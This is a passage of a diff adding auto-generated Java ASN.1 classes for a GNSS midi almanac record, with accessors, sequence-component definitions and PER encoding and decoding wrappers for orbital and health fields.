+ this.midiAlmOmega_ = (Almanac_MidiAlmanacSet.midiAlmOmegaType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmOmegaType setMidiAlmOmegaToNewInstance() {
+ midiAlmOmega_ = new Almanac_MidiAlmanacSet.midiAlmOmegaType();
+ return midiAlmOmega_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmMoType midiAlmMo_;
+ public Almanac_MidiAlmanacSet.midiAlmMoType getMidiAlmMo() {
+ return midiAlmMo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmMoType
+ */
+ public void setMidiAlmMo(Asn1Object value) {
+ this.midiAlmMo_ = (Almanac_MidiAlmanacSet.midiAlmMoType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmMoType setMidiAlmMoToNewInstance() {
+ midiAlmMo_ = new Almanac_MidiAlmanacSet.midiAlmMoType();
+ return midiAlmMo_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmaf0Type midiAlmaf0_;
+ public Almanac_MidiAlmanacSet.midiAlmaf0Type getMidiAlmaf0() {
+ return midiAlmaf0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmaf0Type
+ */
+ public void setMidiAlmaf0(Asn1Object value) {
+ this.midiAlmaf0_ = (Almanac_MidiAlmanacSet.midiAlmaf0Type) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmaf0Type setMidiAlmaf0ToNewInstance() {
+ midiAlmaf0_ = new Almanac_MidiAlmanacSet.midiAlmaf0Type();
+ return midiAlmaf0_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmaf1Type midiAlmaf1_;
+ public Almanac_MidiAlmanacSet.midiAlmaf1Type getMidiAlmaf1() {
+ return midiAlmaf1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmaf1Type
+ */
+ public void setMidiAlmaf1(Asn1Object value) {
+ this.midiAlmaf1_ = (Almanac_MidiAlmanacSet.midiAlmaf1Type) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmaf1Type setMidiAlmaf1ToNewInstance() {
+ midiAlmaf1_ = new Almanac_MidiAlmanacSet.midiAlmaf1Type();
+ return midiAlmaf1_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmL1HealthType midiAlmL1Health_;
+ public Almanac_MidiAlmanacSet.midiAlmL1HealthType getMidiAlmL1Health() {
+ return midiAlmL1Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmL1HealthType
+ */
+ public void setMidiAlmL1Health(Asn1Object value) {
+ this.midiAlmL1Health_ = (Almanac_MidiAlmanacSet.midiAlmL1HealthType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmL1HealthType setMidiAlmL1HealthToNewInstance() {
+ midiAlmL1Health_ = new Almanac_MidiAlmanacSet.midiAlmL1HealthType();
+ return midiAlmL1Health_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmL2HealthType midiAlmL2Health_;
+ public Almanac_MidiAlmanacSet.midiAlmL2HealthType getMidiAlmL2Health() {
+ return midiAlmL2Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmL2HealthType
+ */
+ public void setMidiAlmL2Health(Asn1Object value) {
+ this.midiAlmL2Health_ = (Almanac_MidiAlmanacSet.midiAlmL2HealthType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmL2HealthType setMidiAlmL2HealthToNewInstance() {
+ midiAlmL2Health_ = new Almanac_MidiAlmanacSet.midiAlmL2HealthType();
+ return midiAlmL2Health_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmL5HealthType midiAlmL5Health_;
+ public Almanac_MidiAlmanacSet.midiAlmL5HealthType getMidiAlmL5Health() {
+ return midiAlmL5Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmL5HealthType
+ */
+ public void setMidiAlmL5Health(Asn1Object value) {
+ this.midiAlmL5Health_ = (Almanac_MidiAlmanacSet.midiAlmL5HealthType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmL5HealthType setMidiAlmL5HealthToNewInstance() {
+ midiAlmL5Health_ = new Almanac_MidiAlmanacSet.midiAlmL5HealthType();
+ return midiAlmL5Health_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmE();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmE : "
+ + getMidiAlmE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmDeltaI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmDeltaI();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmDeltaIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmDeltaIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmDeltaI : "
+ + getMidiAlmDeltaI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmOmegaDot : "
+ + getMidiAlmOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmSqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmSqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmSqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmSqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmSqrtA : "
+ + getMidiAlmSqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmOmega0 : "
+ + getMidiAlmOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmOmega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmOmega();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmOmegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmOmegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmOmega : "
+ + getMidiAlmOmega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmMo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmMo();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmMoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmMoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmMo : "
+ + getMidiAlmMo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmaf0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmaf0();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmaf0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmaf0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmaf0 : "
+ + getMidiAlmaf0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmaf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmaf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmaf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmaf1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmaf1 : "
+ + getMidiAlmaf1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmL1Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmL1Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmL1HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmL1HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmL1Health : "
+ + getMidiAlmL1Health().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmL2Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmL2Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmL2HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmL2HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmL2Health : "
+ + getMidiAlmL2Health().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getMidiAlmL5Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMidiAlmL5Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setMidiAlmL5HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_MidiAlmanacSet.midiAlmL5HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "midiAlmL5Health : "
+ + getMidiAlmL5Health().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmEType() {
+ super();
+ setValueRange("0", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmEType != null) {
+ return ImmutableList.of(TAG_midiAlmEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmEType from encoded stream.
+ */
+ public static midiAlmEType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmEType result = new midiAlmEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmEType from encoded stream.
+ */
+ public static midiAlmEType fromPerAligned(byte[] encodedBytes) {
+ midiAlmEType result = new midiAlmEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmDeltaIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmDeltaIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmDeltaIType() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmDeltaIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmDeltaIType != null) {
+ return ImmutableList.of(TAG_midiAlmDeltaIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmDeltaIType from encoded stream.
+ */
+ public static midiAlmDeltaIType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmDeltaIType result = new midiAlmDeltaIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmDeltaIType from encoded stream.
+ */
+ public static midiAlmDeltaIType fromPerAligned(byte[] encodedBytes) {
+ midiAlmDeltaIType result = new midiAlmDeltaIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmDeltaIType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmOmegaDotType() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmOmegaDotType != null) {
+ return ImmutableList.of(TAG_midiAlmOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmOmegaDotType from encoded stream.
+ */
+ public static midiAlmOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmOmegaDotType result = new midiAlmOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmOmegaDotType from encoded stream.
+ */
+ public static midiAlmOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ midiAlmOmegaDotType result = new midiAlmOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmSqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmSqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmSqrtAType() {
+ super();
+ setValueRange("0", "131071");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmSqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmSqrtAType != null) {
+ return ImmutableList.of(TAG_midiAlmSqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmSqrtAType from encoded stream.
+ */
+ public static midiAlmSqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmSqrtAType result = new midiAlmSqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmSqrtAType from encoded stream.
+ */
+ public static midiAlmSqrtAType fromPerAligned(byte[] encodedBytes) {
+ midiAlmSqrtAType result = new midiAlmSqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmSqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmOmega0Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmOmega0Type != null) {
+ return ImmutableList.of(TAG_midiAlmOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmOmega0Type from encoded stream.
+ */
+ public static midiAlmOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmOmega0Type result = new midiAlmOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmOmega0Type from encoded stream.
+ */
+ public static midiAlmOmega0Type fromPerAligned(byte[] encodedBytes) {
+ midiAlmOmega0Type result = new midiAlmOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmOmegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmOmegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmOmegaType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmOmegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmOmegaType != null) {
+ return ImmutableList.of(TAG_midiAlmOmegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmOmegaType from encoded stream.
+ */
+ public static midiAlmOmegaType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmOmegaType result = new midiAlmOmegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmOmegaType from encoded stream.
+ */
+ public static midiAlmOmegaType fromPerAligned(byte[] encodedBytes) {
+ midiAlmOmegaType result = new midiAlmOmegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmOmegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmMoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmMoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmMoType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmMoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmMoType != null) {
+ return ImmutableList.of(TAG_midiAlmMoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmMoType from encoded stream.
+ */
+ public static midiAlmMoType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmMoType result = new midiAlmMoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmMoType from encoded stream.
+ */
+ public static midiAlmMoType fromPerAligned(byte[] encodedBytes) {
+ midiAlmMoType result = new midiAlmMoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
